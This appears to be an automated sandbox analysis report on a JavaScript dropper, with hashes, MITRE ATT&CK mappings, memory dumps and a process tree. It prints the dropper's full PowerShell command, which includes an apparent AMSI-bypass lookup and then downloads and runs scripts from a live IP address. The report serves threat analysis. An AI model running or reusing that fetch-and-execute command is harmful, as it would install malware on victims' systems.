a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29/01/2025, 03:09

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General

Target

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js
Size

1KB
MD5

efcc96851f4724909616b5f3ec81cf79
SHA1

783d14e21e058733ef6cc6ca1e934bcf2533d134
SHA256

a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1
SHA512

c4f152a2caad73ed9a50df2394b59749b6aed00b3135289881c730b9d9d7ec6d34f0fd51e8785ee32da0e2e1b5da3c6b896743b13941d4496c930138e6065e44

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://79.124.78.109/wp-includes/phyllopodan7V7GD.php

exe.dropper

http://79.124.78.109/wp-includes/barasinghaby.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 2364	2324	wscript.exe	32
PID 2324 wrote to memory of 2364	2324	wscript.exe	32
PID 2324 wrote to memory of 2364	2324	wscript.exe	32
PID 2324 wrote to memory of 2364	2324	wscript.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\a6bda80c9f914fb5b640d3437c264993b49a91d997562d53f5ba8d32ac979ec1.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'http://79.124.78.109/wp-includes/phyllopodan7V7GD.php'; $l2 = 'http://79.124.78.109/wp-includes/barasinghaby.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zTJRTNUX3VD'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2364-3-0x0000000073CD1000-0x0000000073CD2000-memory.dmp

Filesize
4KB

Download
memory/2364-4-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-6-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-5-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-7-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2364-8-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download